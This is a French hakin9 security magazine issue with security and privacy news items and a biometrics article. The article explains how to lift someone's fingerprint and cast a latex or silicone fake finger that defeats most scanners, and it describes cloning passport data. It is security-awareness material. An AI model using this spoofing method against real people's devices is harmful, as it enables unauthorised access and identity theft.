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Éditorial

MeIlleurs voeux,
À l’occasion du temps des fêtes, rien n’est 
plus agréable que de festoyer avec ceux 
qu’on aime. Beaucoup de bonheur, de 
douceur et de sérénité pour la  
Nouvelle Année, ainsi que la réalisation  
des projets les plus chers!

Joyeux Noël !
 Jakub Borowski, Rédacteur en chef
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LES SOUCIS DE SÉCURITÉ 
PERDURENT SOUS WINDOWS 7
Si vous utilisiez Linux ou  Mac, vous 
n'auriez pas ce problème. En revanche 
Windows a et sera  toujours vulnérable 
simplement parce que à la base, il 
n'a jamais été conçu pour travailler en 
réseau.

Ainsi, les trous de sécurité qui 
existaient sous Windows for Workgroups 
en 1991, sont toujours présents en 2009 
avec Windows 7. 

La plupart de ces problèmes 
viennent de l' IPC (spécifiques à Win- 
dows)

(communications inter-processus), 
ces processus, crées afin que les 
informations circulent d'un programme  
à un autre, n'ont jamais été conçu dans 
un esprit sécuritaire.

Windows et les applications pour 
Windows reposent sur ces procédures 
pour faire le travail. Au fil des années, ont 
été inclus les DLL (bibliothèques de liens 
dynamiques), OCX (Object Linking and 
Embedding (OLE) Extension Control),  
et les ActiveX.

Peu importe leur nom,elles font  
le même genre de travail et sans 
aucun égard pour la sécurité. 

Pire encore, c'est qu'elles peuvent 
être activées par l'utilisateur par 
des  scripts de niveau, tels que des 
macros Word, ou tout simplement par 

des programmes de visualisation de 
données, tels les fenêtre d'af fichage 
de Outlook. Ces IPC peut alors 
exécuter des programmes malveillants 
et apporter des changements 
fondamentaux à Windows. Les formats 
de données de Microsoft peuvent ainsi 
être utilisé pour contenir du code de 
programmation actif.

Les  Formats Microsoft Office  
sont couramment utilisés pour 
transmettre des programmes 
malveillants.

La bureautique de type Microsoft 
Office est tres bien pour un PC de 
type autonome, quand vous voulez 
par exemple que votre Powerpoint 
communique avec Excel et propage  
de nouvelles données dans le tableur. 
Mais, cette même puissance est un  
trou de sécurité permanent pour un PC 
relié à Internet. 

A la base, Windows, utilise un 
compte unique et autonome par 
défaut qui oblige l'utilisateur à exécuter 
des programmes en tant que “super 
administrateur”. Microsoft a essayé  
de se débarrasser de cela, avec  
des tentatives telles que l'UAC  
(User Account Control) dans Vista.mais 
a échoué. Même dans Windows 7,  
il reste très facile de contourner 
toutes les sécurité d'un UAC. Microsoft 
af firme avoir corrigé certains bugs  
à ce sujet.

LES HACKERS AIMENT NOEL
La plupart des gens sont occupé vers  
la fin de l'année à l'achat de cadeaux  
et à des soirées de fête vers la fin 
Décembre, mais les professionnels 
de la sécurité eux ont une obligation 
supplémentaire: garder les pirates  
au large de leurs réseaux d'entreprise. 

La plupart des pros de la sécurité 
savent que les spammeurs et les 
criminels en ligne  lancent leurs 
campagnes à cette époque de  
l'année car ils pensent que la pro- 
babilité pour que les réseaux soient 
surveillés est plus faible.

C'est également et au meme 
moment la période la plus favorable  
pour les achats en ligne.

Selon une étude statistique assez 
récente, 56 pour cent jugent que Noel 
est une période propice aux attaques 
et arnaques en tout genres sur le Web, 
contre 25 pour cent pour la nouvelle 
année.

 La saison des Fêtes est donc une 
période favorite, simplement parce que 
les entreprises sont à court de personnel 
et que les employés utilisent leurs jours 
de vacances  afin de prendre du temps 
avec leur famille respectives. 

"C'est une période de l'année ou les 
gens font professionnellement parlant 
beaucoup moins de choses", a déclaré 
Michael Hamelin, architecte en chef de la 
sécurité chez Tufin, basée à Ramat Gan, 
en Israël. 

GÉO-LOCALISATION: BIG 
BROTHER IS WATCHING YOU.
Le mois dernier, les nouvelles au sujet  
de Twitter concernant la planification  
sur l'ajout de données de localisation 
grace à des API, donnent  aux gens  
la possibilité d'ajouter la longitude  
et la latitude comme information sur 
leurs “tweets”. Il y a eu beaucoup de 
commentaires à ce sujet concernant  
le pour et le contre, notamment sur  
le non respect de la vie privée. 

Oui, la géolocalisation peut être une 
bonne chose, notamment pour obtenir 
des  informations sur un restaurant,un 
service particulier à proximité, ou même, 
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trouver vos amis pour une nuit dans une 
ville. 

La Géolocalisation n'est certes pas 
quelque chose de nouveau,Latitude 
de Google permet depuis quelque 
temps à travers le Web et l'utilisation de 
téléphones intelligents de voir où vos 
amis se trouvent.La dernière version 
5 de HTML contient du code pour la 
géolocalisation, mais pas vraiment 
intégrée à tous les navigateurs pour  
le moment.

Il existe des services tels que 
Brightkite.com qui sont des réseaux 
sociaux avec une connaissance des 
informations de géolocalisation.  
Mais vos téléphones cellulaires 
ordinaires dif fusent  leur emplacement en 
permanence. Selon Jeff Jonas, environ 
600 milliards d'emplacements sont 
recueillies chaque jour par les utilisateurs 
de téléphone cellulaire américain. 
"Chaque appel, chaque message 
texte, chaque e-mail et de transfert de 
données" génère une opération de 
localisation.

Mais la question est la suivante: 
les transporteurs cellulaires sont t-ils 
vraiment faits pour transporter toutes 
ces données ? C'est finalement suffisant  
pour me donner l'envie d'éteindre mon 
téléphone de temps en temps, Ou  
à défaut, mettre un chapeau en papier 
d'aluminium par dessus !!! 

La réponse se trouve sur l'Internet 
chinois, connu comme :«moteur de 
recherche de chair humaine» et qui a 
d'ailleurs  inspiré un film local.

Sur internet, se pratique la chasse 
à l'homme qui cible le plus souvent des 
fonctionnaires corrompus ce qui est 
somme toutes assez courant dans un 
pays sans liberté de la presse. 
On y dénonce donc,et ce, de manière 
assez régulière des scandales 
concernant par exemple des citoyens 
ordinaires qui commettent des actes 
que les internautes considèrent comme 
moralement condamnables.

Les utilisateurs du Web  chassent 
des informations personnelles sur 
leurs victimes, comme les numéros de 
téléphone, adresses, et  informations  
sur  l'employeur.

Une femme  a attiré la colère des 
utilisateurs du Web, car elle a posté une 
vidéo d'elle-même la montrant en train 
d'écraser le crane d'un chaton. La femme 
a finalement été suspendue de son 
emploi.   

Des recherches ciblées sur plus de 
80 fonctionnaires du gouvernement en 
Chine a entrainé l'an dernier, une  perte 
de leur emploi pour au moins  trois 
d'entre eux a déclaré Steven Guanpeng 
Dong, un conseiller en relations avec les 
médias pour le Conseil d'Etat de Chine. 
Un responsable sud de la Chine a perdu 
son emploi l'an dernier après une vidéo 
en ligne  le montrant en train de molester 
une jeune fille, à qui il demande de le 
conduire aux toilettes. 

Mais des scènes de lynchage en 
ligne de ce type ont aussi suscité un 
vif débat public . Finalement, les gens 
demandent  une législation pour protéger 
la confidentialité des utilisateurs sur 
Internet. 

Les “perquisitions” en ligne "ne sont  
pas une bonne façon d'aider la démo- 
cratie en Chine", a indiqué Dong, qui 
réclame une loi pour réglementer le Web.  

A PROPOS DU RESPECT DE  
LA VIE PRIVÉE SUR FACEBOOK
Facebook va renforcer son dévelop- 
pement de socio-fonctionnalités et 

de confidentialité  au cours des 12 
prochains mois suite à une série 
de recommandations de la part du 
gouvernement canadien. 

Des controles sont en cours afin 
de renforcer la confidentialité,et des 
politiques qui vont avec. 
Ces changements sont le résultat  
d'une coopération directe entre Facebook  
et le bureau du commissariat de la vie 
privée du Canada,une coopération qui  
a duré plus d'un an. 

Facebook va aussi aller vers les 
utilisateurs, en les poussant à revoir  
leurs paramètres de confidentialité.  
Pour les dizaines de milliers 
d'applications tierces construites pour  
la plate-forme Facebook, Facebook  
va commencer à exiger le respect d'un 
nouvel ensemble d'autorisations, en 
spécifiant le type d'information auxquelles 
les personnes veulent accéder. Un 
«Consentement explicite» des utilisateurs 
finaux sera également requit avant que 
leurs données et celles de leurs amis 
»soient mises à disposition pour des 
applications externes. 

Pour les exigences de la vie privée  
et des nouvelles applications tierces,  
il faudra compter environ un an car  
elles impliquent des modifications de  
la plate-forme API de Facebook (inter- 
face de programmation d'application)  
et des applications elles-mêmes.

Il sera intéressant de voir comment 
les développeurs de Facebook vont 
réagir face aux nouvelles normes 
pour ré-équiper les applications et se 
conformer à ces contrôles d'accès 
stricts. 

HACKING EN CHINE  
ET PROBLÈMES CONCERNANT 
LA VIE PRIVÉE
Qu'ont en commun : un enfant 
agressé sexuellement, un responsable 
gouvernemental et un assassin de 
chaton ?  
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En Juillet, Facebook a annoncé son 

intention de simplifier ses fonctionnalités 
de confidentialité, en disant qu'elles  
étaient  devenus trop nombreuses  
et trop compliqués pour les utilisateurs 
finaux à comprendre et à appliquer. 

Sous la pression de Twit ter, 
Facebook est également en train 
d'ajouter des paramètres de 
confidentialité moins restrictifs pour 
que les utilisateurs finaux rendent une 
portion de leurs profils public moins 
complexes et donc plus largement 
disponibles pour les autres “dans”  
et “en dehors” de Facebook.  

UN MALWARE SOUS MAC OSX
Alors que le Malware a longtemps  
été une gêne presque quotidiennement 
pour Windows, les utilisateurs Mac  
ont pris l'habitude de ne pas se soucier 
des logiciels malveillants.

Des Menaces surgissent de  
temps en temps avec par exemple, 
un cheval de Troie émanant de copies 
pirates du logiciels iWork d'Apple  
– mais la plupart des utilisateurs Mac, 
de nos jours ne sont probablement 
pas équipés d'un logiciel de protection 
antivirus. 

Apple vante dans ses spots 
publicitaires la résistance du Mac aux 
logiciels malveillants  notamment et 
surtout par rapport à Windows. Mais 
avec la sortie de Mac OS X Snow 
Leopard, Apple a finalement décidé de 
renforcer subtilement son jeu quand 
il s'agit de programmes malveillants, 
tout comme il l'a fait par le passé 
avec le phishing dans Safari. Pour la 

première fois, l'OS Mac contient un 
système intégré qui détecte des logiciels 
malveillants et les tentatives pour 
protéger les utilisateurs d'endommager 
leurs ordinateurs par inadver tance. 

Comment ça marche?  
Comme Mac OS X 10.4, Apple  
a intégré un système de validation 
de téléchargement de dossier de 
“Quarantaine” intégré dans son  
système d'exploitation. Sur le premier 
système Leopard, cela se manifeste  
le plus souvent comme une boî te  
de dialogue qui surgit quand un 
utilisateur a ouver t un fichier qui est 
téléchargé via Internet ou via Mail, 
Safari ou iChat. L'aver tissement 
af fiché indique quelle est l'application 
téléchargé,la nature du fichier, d'après 
le site, et à quel moment. Il donne  
à l'utilisateur la possibilité de poursuivre 
l'ouver ture du fichier, d'annuler ou 
d'af ficher la page Web à par tir de 
laquelle il a été téléchargé. 

Dans Snow Leopard, Apple  
a amélioré de dossier de quaran- 
taine pour vérif ier aussi les fichiers 
contre les programmes malveillants 
connus, s'appuyant sur une liste de 
définitions de logiciels malveillants 
connus de type : Système / 
Bibliothèque / Core Services / 
CoreTypes.bundle / Contents / 
Resources / XProtect .plist . A ce jour,  
le fichier ne contient que deux 
définitions: le cheval de Troie 
OSX.RSPlug découver t en 2007 et les 
logiciels malveillants OSX.iService 
incorporés dans le programme 
d'installation pirates iWork. Toutefois, 
Apple Macworld précise que la liste 
des définitions peuvent être mis  
à jour via Sof tware Update. 

LES NOUVEAUTÉES  
DE WINDOWS 7
Voici quelques-unes des principales 
nouveautés disponibles sous Win- 
dows 7: l'action Center ou Centre  
de sécurité founit via Windows XP,  
a été amélioré sous  Windows 7  
et “élargit ” la por tée des informations 
fournies.

 Windows 7 Action Center fournit 
désormais un one-stop-shopping afin 
de visualiser l'état du système à un 
instant t donné et donne de fait un 
indicatif sur les éventuelles actions 
correctives à mener. 

Windows 7 fournit un suppor t  
natif pour la lecture et l'écriture sur  
les disques Blu-ray,

Blu-ray étant devenu le standard  
sur le marché.

Windows 7 comprend une 
fonctionnalité appelée “stade de 
périphériques” afin de simplifier les 
processus d'installation.Le “Device 
Stage” propose une console unique 
pour gérer des périphériques comme 
les imprimantes, les webcams  
et les téléphones mobiles. Device 
Stage peut être personnalisée par  
le constructeur de votre appareil,  
ainsi, l 'information et les fonctionnalités 
disponibles pour un périphérique  
donné varient d'un constructeur  
à l'autre. 

BitLocker-to-Go: Microsof t  
a introduit BitLocker Disk Encryption 
dans Windows Vista,mais La version 
initiale ne peut chif frer le volume 
du disque qui héberge le système 
d'exploitation de Windows,avec le 
Service Pack 1 ,Microsof t a amélioré 
BitLocker de sor te que d'autres  
lecteurs et volumes sur le système 
pourrait être également protégés.

Avec Windows 7 BitLocker va  
un peu plus loin en ajoutant Bit- 
Locker-to-Go pour le cryptage de 
données sur les clés USB et autres 
suppor ts amovibles. 

Rédigé paR Nicolas HilY
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SUR LE CD
CD-ROM  
– hakin9.live

Nous avons regroupé sur ce 
CD les meilleures solutions 
de formation, des applications 

commerciales et autres goodies produits 
par Sequrit.org sous la direction de 
Wayne Burke. 

Hacking étHique et test 
d'intrusion (pen-testing)
Cette formation vous plongera dans 
un environnement interactif où vous 
verrez comment scanner, tester, hacker 
et sécuriser vos propres systèmes. Cet 
environnement de test vous permettra 

d'acquérir une expérience pratique ainsi 
que des connaissances approfondies 
sur les systèmes de sécurité actuels. 

Les cours :

• Introduction,
• LMS,
• CEHv6 Pen Testing 101,
• CEHv6 Footprinting,
• CEHv6 Scanning,
• CEHv6 Enumeration,

Vous pouvez également vous inscrire sur 
le site de Sequrit (http://www.sequrit.org/

hakin9) pour consulter des cours gratuits 
LMS (plateformes d'e-learning). Les cours 
LMS comprennent :

• Moteur de test.
• Didacticiels.
• Vidéos.
• Outils pour les blogs.
• Forums.
• Tchats.
• Etc.

Sequrit est une entreprise qui a été fondée par le célèbre expert en sécurité 
informatique : Wayne Burke. Il a su apporter une réponse concrète à un problème 
récurrent : Comment se tenir informé de l'évolution constante du secteur de la 
sécurité informatique ? Pour rester informé sur les dernières technologies, les 
menaces et les solutions, le spécialiste en sécurité informatique doit consacrer 
une grande partie de son temps à rechercher et analyser plusieurs sources 
d'informations. On comprend aisément que ce travail fastidieux laisse peu de 
temps au maintien de la sécurité d'un environnement informatique !
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S’il vous est impossible de lire le CD. et que ce dernier n’est pas 
endommagé physiquement, essayez de lire dans au moins 2 
lecteurs différents.

En cas de problème avec votre CD, envoyez-nous un message  
à l’adresse suivante : cd@hakin9.org
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La biométrie est un art d'analyser les êtres 
vivants. Dans le cas des personnes, il est 
particulièrement populaire d'analyser des 

caractéristiques telles que l'empreinte digitale, la 
géométrie de visage, la structure de l'iris de l'oeil, 
la manière de bouger ou la voix. La biométrie 
est utilisée dans l'anthropologie, la médecine, la 
criminologie et à des fins d'autorisation.

Les premières informations relatives 
à la détermination de l'identité d'après la 
comparaison des empreintes digitales 
remontent au 16ème siècle. Plus tôt, en Grèce 
et Rome antiques, les fondations des méthodes 
biométriques actuelles ont été posées. Mais 
ce n'est qu'aujourd'hui, grâce au progrès de la 
technique de transformation des signaux, que 
nous réussissons à analyser et à stocker des 
informations biométriques de manière ef ficace 
et à grande échelle.

Sécurité officielle seulement
Les systèmes basés sur la biométrie sont 
présentés par les fabricants comme pratiques, 
infaillibles et plus sûrs par rapport aux méthodes 
traditionnelles (mots de passe, clés, jetons). De 
plus, ce type d'outils n'est pas très connu des 
attaquants potentiels et il donne l'impression de 
modernité aux clients et partenaires, ce qui en fait 
une très bonne solution. Malheureusement, toutes 
les informations relatives à la biométrie ne sont 
pas vraies et les outils ne sont pas infaillibles. 
Les fabricants avouent officieusement que les 

Marcin KosedowsKi

Cet artiCle 
explique
comment la biométrie facilite les 
attaques,

comment le sourire influence 
votre anonymat,

comment elvis a obtenu un 
passeport hollandais.

Ce qu'il faut 
Savoir
Méthodes typiques de protection 
d'accès aux données,

notion générale de 
transformation des signaux.

systèmes biométriques ne doivent pas être 
utilisés de manière individuelle.

Le scanneur peut être trompé par les 
méthodes dont vous parlez. Le système ne sera 
sûr que lorsqu'il sera pourvu d'une carte et d'un 
clavier pour saisir un mot de passe  
– dit un ingénieur anonyme d'une société 
polonaise proposant des capteurs biométriques.

Selon les études d'Aberdeen Group du 2008,  
la méthode standard - utilisation des mots de 
passe - est employée par 52 % de sociétés 
pour protéger les données critiques. Ses défauts 
sont les suivants : soit les mots de passe sont 
trop simples soit les employés les utilisent d'une 
manière incorrecte (le même mot de passe pour 
plusieurs services, enregistrement des informations, 
partage avec les collègues). L'identification par une 
empreinte digitale élimine le problème lié au fait de 
retenir les informations et le nombre d'informations 
mesurées garantit en théorie une plus grande 
sécurité qu'un mot de passe complexe. Il est 
admis qu'une empreinte digitale correspond  
à une chaîne de 200 caractères. En pratique, tout 
cela est différent. Obtenir une empreinte digitale ne 
pose en effet aucun problème et il est très facile  
de tromper les capteurs.

Les clés et les jetons constituent aussi  
une méthode populaire. Malheureusement, ce 
type d'outils peut être perdu, détruit ou volé  
et transmettre rapidement une copie peut être 
dif ficile. Perdre un oeil ou un doigt est moins 
probable. Comme vous pouvez le constater,  

Degré de difficulté

Biométrie  
– révélez vos données

considérée comme sécurisée, la biométrie ne doit pas constituer 
la seule et unique protection de données. il est très facile de 
tromper les capteurs et d'utiliser les données obtenues jusqu'à 
la fin de la vie de la victime. Même les passeports biométriques 
réduisent le niveau de sécurité. Les copier est très simple ; 
tout le monde est donc capable d'avoir une base de données 
biométriques.



DOSSIER

13 HAKIN9 

BIométrIe

6/2009

DOSSIER
la biométrie est très pratique d'emploi : 
pas de mots de passe à retenir ni de 
jetons à porter.

Il pourrait sembler que la biométrie 
est une manière parfaite pour protéger 
l'accès aux données mais la réalité n'est 
pas si rose comme le présentent les 
fabricants d'équipements. Le problème 
de base se trouve dans la basse 
précision des appareils d'analyse. Il 
est possible de tromper la plupart de 
capteurs de lignes papillaires disponibles 
sur le marché par un moyen fait maison. 
Il sera présenté dans la suite de l'article. 
De plus, les empreintes digitales peuvent 
changer suite par exemple à des 
blessures profondes, ce qui peut mener 
aux erreurs.

Les logiciels d'analyse de visages 
ou de manière de marcher ne sont 
pas précis. Ils ne reconnaissent ni les 
personnes retournées ni mal éclairées, 
ce qui constitue un défaut en cas de 
traitement d'images, ni les personnes qui 
sourient ou portent des lunettes.

vous pouvez changer  
votre mot de passe mais 
pas votre oeil
Ces défauts seront sûrement corrigés. 
Il est toujours possible de concevoir 
un capteur plus précis, et donc plus 
cher, et modifier les algorithmes de 
reconnaissance de visages. L'un des 
plus grands défauts des systèmes 
biométriques est leur principe de 
base : les caractéristiques mesurées 
ne changent pas. En cas de mots de 
passe et de jetons, il est recommandé 
de les modifier très fréquemment 
(respectivement toutes les plusieurs 
semaines et minutes). Cette démarche 
a pour but de prévenir les situations 
où un attaquant vole un mot de passe 
et s'en sert pendant très longtemps.  
Si toutefois, il réussit à copier une 
empreinte digitale ou une photo de l'iris 
de l'oeil, il pourra accéder à toutes les 
données ainsi autorisées pendant toute 
la vie de l'utilisateur à qui il les a volés. 
Actuellement, copier les protections plus 
avancées, telles que structure de veines 
dans la main, semble peu probable 
mais ce risque peut devenir réel dans 
l'avenir. Réaliser une copie des lignes 

Figure 1. La biométrie facilite l'accès aux données mais réduit la sécurité du système. 
La photo présente un passeport biométrique d'Elvis Presley. La photo provient du site 
os3.nl

Figure 2. Le programme JMRTD gratuit permet de créer notre propre passeport. 
L'application génère elle-même tous les fichiers nécessaires.
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papillaires ou enregistrer une voix n'est 
pas toutefois à la portée de tout le monde. 
Les scanneurs d'oeil ou de visage bas 
marché peuvent également être trompés 
si nous leur présentons une photo  
à une grande résolution. Ces protections 
doivent donc être considérées comme 
insuffisantes si elles sont employées 
individuellement.

Les scanneurs d'oeil, basés sur  
les micromouvements de la pupille  
et non sur une image statique, offrent des 
protections de base. Leurs concepteurs 
ont également réussi à se protéger contre 
l'enregistrement de l'oeil et la lecture du 
film : les capteurs reconnaîtront si l'objet 
est à trois dimensions. De plus, cette 
solution protège contre les personnes 
qui voudraient utiliser un oeil d'un défunt. 
L'oeil arrête de bouger quelques secondes 
après la mort (ou une fois enlevé du 
corps) et donc l'oeil découpé ne suffira 
pas à obtenir une autorisation. Le 
propriétaire vivant doit être sur place. 

Un problème important est lié au fait 
qu'aucune caractéristique analysée ne 
peut être utilisée pour tous les habitants de 
la terre. Les personnes sans mains sont 
dépourvues d'empreintes digitales, les 
muets ne peuvent pas faire une autorisation 
avec leur voix et comme les femmes dans 
la culture arabe cachent leur visage, il 
est impossible d'utiliser la géométrie du 
visage. Il faut en plus penser aux incidents, 
comme amputation d'une main ou arthrite 
qui modifie la géométrie de la main. Même 
l'ADN ne permet pas d'être sûr à 100 % : 
en effet, les jumeaux monozygotes ont le 
même ADN. De plus, cette méthode n'est 

pas passive et nécessite de prélever des 
échantillons sur plusieurs endroits.    

Scanneurs  
– où se trouve l'erreur ?
Reconnaître une empreinte digitale 
consiste à collecter des points 
caractéristiques et à les enregistrer dans 
une base de données. Au prochain scan, 
ces caractéristiques sont comparées aux 
modèles dans la base. Dans la plupart 
de cas, l'image entière n'est pas stockée 
et les caractéristiques enregistrées du 
doigt sont en plus chiffrées. Ce point 
concerne en particulier les appareils 
bon marché qui doivent échanger les 
données avec l'ordinateur. Afin d'éviter que 
les données soient interceptées, on utilise 
une transmission codée. Pour faciliter la 
reconnaissance, le scanneur effectue 
d'autres opérations (dilatation, érosion).

La recherche est facilitée par le fait 
que les empreintes peuvent être divisées 
en six groupes principaux. Cela ne 
suffit pas à l'identification mais d'autres 
caractéristiques sont aussi faciles  
à trouver. Il faut notamment vérifier les 
emplacements de crêtes et de vallées 
sur la peau. Chaque doigt est pourvu de 
plusieurs dizaines de points de ce type. 

Chaque point est en général décrit 
sur 9 bits mais tous ne peuvent pas 
être utilisés par le scanneur. Il s'agit 
généralement de plusieurs points, ce qui 
donne une clé de 100 bits. Ce nombre 
est suffisant pour démarrer une cafetière 
mais pour des opérations nécessitant une 
plus grande précision, il est nécessaire 
de vérifier plusieurs voire tous les doigts. 
Nous obtenons ainsi 1024 bits qui 
caractérisent la main. D'autres méthodes 
permettant d'obtenir des clés plus longues 
sont connues, par exemple, utiliser des 
fichiers au lieu des clés. Comme vous 
pouvez le constater, c'est une protection 
supplémentaire qui facilite la vie mais 
n'augmente aucunement le niveau de la 
protection.

Il faut faire attention à un détail dans  
le fonctionnement des scanneurs. Comme 
ils peuvent se tromper, nous apportons 
une tolérance au bruit. Les études menées 
dans l'Ecole Polytechnique de Wroclaw 
ont démontré que les capteurs, auxquels 
on a présenté une image préparée avec 
un bruit  égale à 5 %; fonctionnaient mieux 
que les capteurs qui scannaient plusieurs 
fois la même empreinte (ressemblance 

Autres méthodes biométriques
Les bons résultats sont obtenus par les études sur le comportement des personnes. Au 
lieu d'analyser les mouvements du corps, on étudie les comportements. Cette solution rend 
impossible par exemple de couper le doigt de la victime. Les laboratoires KDDI R&D ont créé 
un programme qui, d'après une analyse de manipulation d'un téléphone portable, définit si 
l'utilisateur est son propriétaire. L'efficacité du système approche apparemment 96 %. Une autre 
méthode consiste à observer la manière de bouger et cligner les yeux. L'une des manières les 
plus efficaces consiste à analyser la façon d'écrire sur le clavier. Les distances entre les lettres 
saisies sont mesurées. Cela ne nécessite pas de connaître la langue du texte saisi, les distances 
entre les caractères suffiront. Malheureusement, cette méthode sera inefficace si le système 
n'est pas constamment mis à jour   (l'utilisateur peut apprendre à écrire plus rapidement) et si 
la personne est analphabète. Une manière plus avancée consiste à mesurer l'onde P300, qui 
est une réponse individuelle de chacun d'entre nous du cerveau à une stimulation. Une autre 
méthode consiste à vérifier la structure des veines sur la poignée : elle a toutes les qualités d'une 
empreinte digitale mais falsifier les veines est quasiment impossible et la main ne peut pas être 
morte car le sang ne circulerait plus.

Que le passeport, contient-il ?
Les informations dans le passeport se trouvent au maximum dans 17 fichiers, dont entre 4 et 6 
sont utilisés actuellement en fonction du pays. Les autres données, en particulier, les données 
qui servent à protéger contre les copies, sont ignorées. Les fichiers sont enregistrés sous forme 
binaire mais ils ne sont pas chiffrés :

•  EF.DG1 – le fichier contient des données personnelles de l'utilisateur, sa nationalité et le pays 
émetteur du passeport. Le fichier est obligatoire.

•  EF.DG2 – la photo enregistrée au format JPG ou JPG200, obligatoire.
•  EF.DG3 – une donnée biométrique supplémentaire ; il s'agit actuellement (si le fichier est 

utilisé) d'une empreinte digitale. Le fichier est optionnel.
•  EF.DG4-14 – l'emplacement pour d'autres données biométriques, actuellement non utilisé.
•  EF.DG15 – le fichier permet de cloner. Il n'est utilisé que dans les passeports émis par 

l'Australie, le Canada, la Nouvelle-Zélande, le Japon et le Singapour.
•  EF.SOD – le fichier garantit l'intégrité des autres fichiers. Il est obligatoire et généré 

automatiquement par le programme JMRTD.
•  EF.COM – l'index obligatoire de tous les fichiers. Généré par le programme.
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d'environ 80 % dans les images avec 
bruit et 75 % dans les images sans 
bruit). De plus, la comparaison de deux 
empreintes complètement dif férentes 
pourrait donner une ressemblance 
d'environ 20 %. Un autre problème est 
posé par le fait que les doigts peuvent être 
sales, avoir des cicatrices ou des lignes 
papillaires effacées (elles s'effacent avec 
l'âge ou suite à un travail physique). Les 
lignes papillaires des doigts des fumeurs 
sont également moins claires que des 
non-fumeurs. Ces études démontrent 
qu'un capteur doit avoir une très grande 
tolérance aux erreurs pour être utile. Si une 
ressemblance minimale d'un doigt dans 
cette base s'élevait par exemple à 95 %, 
une partie de personnes ne pourrait pas 
du tout se servir de ce système et d'autres 
devraient effectuer plusieurs scans pour 
obtenir une autorisation.

Comme vous pouvez facilement  
le deviner, des circuits bon marché 
installés dans les pendrives ou les 
ordinateurs portables se caractérisent 
par une moindre précision. Seule la 
performance des outils professionnels 
est plus élevée, supérieure à 99 %.  
Leur défaut, c'est leur prix. Il ne faut  
pas toujours le prendre en compte  
car la manière d'ef fectuer des tests  
est inconnue et aucun standard n'existe 
pour l'instant pour définir la performance 
des scanneurs.

Il est possible de se servir de 
cette grande tolérance aux erreurs 
des capteurs bon marché des lignes 
papillaires pour effectuer une attaque. 
Dans la plupart des appareils utilisés, 
le capteur d'analyse est un simple 
scanneur équipé d'un filtre et d'un 
ensemble de lentilles. Après qu'un doigt 
est posé, l'appareil prend sa photo, traite 
l'image, trouve des caractéristiques 
et les compare à la base. La manière 
de transmettre et de stocker les 
données n'est pas importante car nous 
effectuerons l'attaque plus rapidement sur 
le scanneur. Il s'avère qu'un doigt artificiel, 
autrement dit, un morceau plat de latex; 
de silicone ou autre matériau semblable 
avec l'empreinte digitale dessus, fait 
ouvrir efficacement toutes les serrures 
utilisées. Faire une copie de ce type est 
particulièrement simple.

Créer un doigt artificiel
La première étape consiste à trouver l'objet 
sur lequel la victime a laissé son empreinte 
digitale. Bien que cette étape semble 
difficile, ce n'est pas le cas. Il est très facile 
de prélever une empreinte sur le boîtier 
ou l'écran d'ordinateur portable, sur un 
verre, un téléphone ou autres objets plats 
touchés par le bout du doigt. Après la mise 
en place des documents biométriques en 
Allemagne, on  a parlé beaucoup d'une 
opération du mois d'avril 2008 où un 
groupe Chaos Computer Club a présenté 
des empreintes digitales du ministre de 
l'Intérieur, Wolfgang Schäuble. S'il est 

possible de trouver les empreintes digitales 
d'un ministre, il est d'autant plus facile de 
trouver des empreintes de n'importe quelle 
autre personne.

L'étape suivante consiste à prélever 
l'empreinte. Si elle bien visible (par 
exemple, elle se trouve sur le boîtier 
d'ordinateur), il suffit de la prendre en 
photo et la traiter dans un programme 
graphique. Dans le cas contraire, il faut 
passer une couche de poudre sur la 
surface avec l'empreinte et supprimer 
le surplus de poudre avec un pinceau 
délicat. Cette opération est nécessaire 
lorsque nous prélevons l'empreinte sur 

Figure 3. Les capteurs ne peuvent pas assurer que l'analyse sera toujours identique et 
les erreurs peuvent être trop grandes

Figure 4. La biométrie n'est en grande partie qu'un marketing. Les personnes qui 
pensent qu'elle peut constituer une super protection seront sûrement déçues. Le 
schéma provient du site biometria.pl
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une surface transparente, comme un 
verre. Le traitement graphique consiste 
à augmenter le contraste, à élargir 
l'histogramme et à effectuer d'autres 
opérations pour rendre l'image claire, 
noire et blanche. Une fois cette étape 
terminée, nous devrons obtenir des lignes 
noires à la place des vallées et un fond 
transparent à la place des crêtes, comme 
sur la Figure présentant l'empreinte 
digitale de Wolfgang Schäuble. 

Nous imprimons l'image obtenue sur 
une feuille transparente (utilisée, par exemple, 
par les projecteurs) à l'aide d'une imprimante 
laser. Nous pouvons le faire dans une 
société de photocopies. En cas de besoin, il 
faut corriger les lignes qui n'ont pas été bien 
imprimées, à l'aide d'un marqueur.

L'étape suivante consiste à mettre 
un latex ou une silicone liquide ou bien 
autre matériau de ce type sur son 
propre doigt et à faire une nouvelle 
empreinte. Les traces laissées par le 
tonner fonctionneront comme un tampon. 
Cette opération suffira pour traverser 
les protections utilisées dans la plupart 
(plus de 90 %, d'après Stephanie C. 
Schucker) de scanneurs disponibles sur 
le marché. Dans le cas de certains outils, 
il n'est même pas nécessaire d'imprimer 
l'empreinte sur une feuille transparente. 
Il suffit de mettre une simple feuille de 
papier sur le scanneur d'impression ! 

Les capteurs d'une meilleure qualité 
et les capteurs qui fonctionnent comme 
des scanneurs sont en plus capables 
de détecter des reliefs, une simple 
impression ne suffira donc pas. À la place, 
il faut réaliser un plateau en latex bombé 
d'après la photo pour faire semblant de 
la peau de la victime. Il est possible de 
le faire à l'aide du laser utilisé par les 
dentistes d'après l'impression sur la feuille 
transparente. Le même dessin, réalisé 
auparavant, sera nécessaire pour l'outil. 
Cette méthode, bien que plus dif ficile que 
l'impression, peut toujours être réalisée 
sans problème. Son efficacité a été 
confirmée dans un programme Myth 
Busters (le lien à cet épisode se trouve 
dans l'encadré) sur la chaîne Discovery 
Channel.

qu'en est-il des capteurs 
chers ?
Certains fabricants équipent leurs 
capteurs en protections supplémentaires 
pour éliminer les lignes plates. L'outil est 
dépourvu d'un simple scanneur et équipé 
d'un émetteur. Cet émetteur envoie des 
ultrasons et analyse leur réflexion du 
doigt. Les fabricants affirment que les 
scanneurs sont capables de reconnaître 
toute tentative de tromperie à l'aide 
des matériaux plats. Les informations 
obtenues d'une société polonaise 

Optel démontrent en revanche qu'il est 
possible de tromper ce type de capteurs 
(utilisés notamment dans les aéroports 
américains) avec un doigt mort ou un 
moulage. Les fabricants affirment qu'il est 
impossible de tromper leur appareil par 
les méthodes présentées car il analyse 
la couche sous la peau et non la surface 
du doigt.

Mis à part cette analyse, un attaquant 
potentiel se trouve devant un autre 
problème, à savoir la prise de la tension 
ou l'analyse des vaisseaux sanguins, 
réalisées au moyen d'un diode laser. Une 
épaisse couche de colle posée sur le 
doigt rendra impossible cette tentative.

Une sécurité relative des appareils 
